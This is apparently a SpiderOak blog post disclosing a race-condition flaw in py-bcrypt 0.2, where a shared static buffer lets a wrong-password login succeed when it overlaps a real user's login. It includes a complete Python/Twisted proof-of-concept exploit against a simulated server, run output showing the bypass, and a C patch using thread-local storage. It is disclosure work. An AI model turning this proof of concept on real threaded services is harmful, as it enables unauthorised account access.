This blog post is probably only interesting to programmers. Regular SpiderOak users can safely ignore this article. (It is not related to the SpiderOak backup and sync software.)
There’s a security vulnerability with py-bcrypt.
The vulnerability allows an attacker (“Eve”) to login as any user by making a login attempt with a bogus password, overlapping in thread execution with the user’s own login attempt. Typically many such attempts will be needed, but one will eventually succeed.
This is a synchronization vulnerability with concurrent use of the
encrypted static buffer in
bcrypt.c. Only threaded applications should be vulnerable. It is common to use threads for bcrypt auth since it can cause an event driven application to block the event loop for an unacceptable time.
I went looking through the py-bcrypt code after noticing suspicious patterns of auth failures while testing a project using bcrypt.
The vulnerability was added in bcrypt 0.2 which was released in July 2010.
This vulnerability is not present in bcrypt 0.1 because it did not release the GIL during bcrypt operations.
Prior discovery? Sönke Schau reported a thread safety bug in this area to the Google Code project back in January 2013. It seems from the description (i.e. Priority: Medium) that the security implications were unclear at the time.
Below is a demo exploit, sample output from the demo, a patch to py-bcrypt to mitigate the vulnerability, and output from the demo after patching.
#!/usr/bin/env python """ demo exploit for py-bcrypt 0.2 The demo below includes a server class with one user, alice, with a bcrypted password. The server is event driven using Twisted with bcrypt operations deferred into a thread pool. Eve tries to login repeatedly with a bogus password while Alice is also trying to log in. """ import time import random import sys import bcrypt from twisted.internet import reactor, defer from twisted.python import log from twisted.internet.threads import deferToThread # if we instead set this bcrypt work factor to 4 (the minimum) the demo exploit # succeeds much sooner. 12 is the default. BCRYPT_LOG_ROUNDS = 12 def salt_and_bcrypt(password): "return the salted and bcrypted representation of a password" salt = bcrypt.gensalt(BCRYPT_LOG_ROUNDS) return bcrypt.hashpw(password, salt) def check_bcrypt(password, crypted): "return boolean, comparing a plain password to a bcrypt stored value" check_value = bcrypt.hashpw(password, crypted) return check_value == crypted def sleep_to_delay_thread(delay): "just used to add additional noise into the timing of the thread pool" time.sleep(delay) return True class DemoExploitableServer(object): """ Simple server class. This could be a web server, ftp, RPC, etc. The same vulnerability exists if the server is available over a network. Here everything happens in one process for brevity. """ users = dict(alice = salt_and_bcrypt("mypassword")) def __init__(self, num_busywork_threads): self._login_attempt_count = 0 self.exploited = False self.halt = False if num_busywork_threads: reactor.callLater(0, self._simulate_activity, num_busywork_threads) def notify_shutdown(self): "notify the server that the event loop is shutting down" self.halt = True def login(self, username, password): """ make a login attempt to the server. Return a Deferred that will be called back with the login result bool """ if self.halt: # just ignore forever deferred = defer.Deferred() return deferred self._login_attempt_count += 1 # show some progress in the log. usually don't get that far. if self._login_attempt_count % 1000 == 0: log.msg("%d login trials" % ( self._login_attempt_count, )) # delayed False on nonexistent user if not username in self.users: deferred = defer.Deferred() reactor.callLater(5, deferred.callback, False) return deferred return deferToThread(check_bcrypt, password, self.users[username]) def _simulate_activity(self, amount): "start N busy work loops (deferring work to thread pool)" for _ in range(amount): reactor.callLater(0, self._do_busy_work) def _do_busy_work(self): "defer a random blocking sleep call to a thread" if self.halt: return delay = 2.0 * random.random() deferred = deferToThread(sleep_to_delay_thread, delay) deferred.addCallback(self._busy_work_callback) def _busy_work_callback(self, _result): "repeat the busy work cycle" reactor.callLater(0, self._do_busy_work) class UserBase(object): "base for Alice and Eve--users repeatedly trying to login to the server" def __init__(self, server): self._server = server def run(self): "start the login trial loop" reactor.callLater(0, self.try_login) def try_login(self): "make a login attempt. The server will callback with the result" deferred = self._server.login(self._username, self._password) deferred.addCallback(self._login_callback) deferred.addErrback(log.err) class Alice(UserBase): """ Alice repeatedly tries to login w/ the correct password. It's normal that she succeeds, and noteworthy when she fails. """ _username = 'alice' _password = 'mypassword' def _login_callback(self, result): if not result: log.msg("alice login failure") reactor.callLater(0, self.run) class Eve(UserBase): """ Eve repeatedly tries to login as Alice w/ a bogus password. The exploit is successful when Eve's login is valid. """ _username = 'alice' _password = 'WRONG_PASSWORD' def _login_callback(self, result): if result: log.msg("eve login success") self._server.exploited = True reactor.stop() else: log.msg("eve login fail") reactor.callLater(0, self.run) def spawn_user(server, user_class): """ create a user instance, and schedule delay calls to the event loop to start the instance's login trial loop """ new_user = user_class(server) reactor.callLater(0, new_user.run) def run_exploit_demo(): """ setup the demo exploitable server instance and a few user instances trying to login. Manage the event loop startup/shutdown. Report results. Return shell exit code: 1 on exploit failure, 0 on success" """ num_alice = 5 num_eve = 5 server_busywork_threads = 5 log.startLogging(sys.stdout) server = DemoExploitableServer(server_busywork_threads) for _ in range(num_alice): spawn_user(server, Alice) for _ in range(num_eve): spawn_user(server, Eve) # timeout after an hour def _timeout(): log.msg("timeout reached") reactor.stop() reactor.callLater(3600, _timeout) reactor.suggestThreadPoolSize(30) reactor.addSystemEventTrigger("before", "shutdown", server.notify_shutdown) reactor.run() # if we get here, Eve has logged in or we have crashed or timed out if server.exploited: print "EXPLOITED: successful login by Eve as Alice" return 0 else: print "NO exploit" return 1 if __name__ == '__main__': sys.exit(run_exploit_demo())
Here’s sample output, before and after patching.
ubuntu@dev$ /opt/py2.7.vulnerable_bcrypt/bin/python pybcrypt_exploit_poc.py 2013-03-17 18:42:31+0000 [-] Log opened. 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login fail 2013-03-17 18:42:31+0000 [-] eve login success 2013-03-17 18:42:33+0000 [-] Main loop terminated. 2013-03-17 18:42:33+0000 [-] EXPLOITED: successful login by Eve as Alice ubuntu@dev$ /opt/py2.7/bin/python pybcrypt_exploit_poc.py ... [ snip ] ... 2013-03-17 19:08:17+0000 [-] eve login fail 2013-03-17 19:08:17+0000 [-] eve login fail 2013-03-17 19:08:17+0000 [-] eve login fail 2013-03-17 19:08:17+0000 [-] eve login fail 2013-03-17 19:08:17+0000 [-] eve login fail 2013-03-17 19:08:17+0000 [-] timeout reached 2013-03-17 19:08:19+0000 [-] Main loop terminated. 2013-03-17 19:08:19+0000 [-] NO exploit
I use C only very occasionally, but in case it’s helpful, here’s my attempt at a resolution patch. (Don’t use this. The patch provided by the maintainers in bcrypt-0.3 looks much more portable!)
diff -r py-bcrypt-0.2/bcrypt/bcrypt.c py-bcrypt-0.2.patched/bcrypt/bcrypt.c 75c75,84 < static char encrypted; --- > #undef threadlocal > #ifdef _ISOC11_SOURCE > #define threadlocal _Thread_local > #else > #define threadlocal __thread > #endif > /* we would rather blow up at compile time than be without thread safety. > * */ > > static threadlocal char encrypted;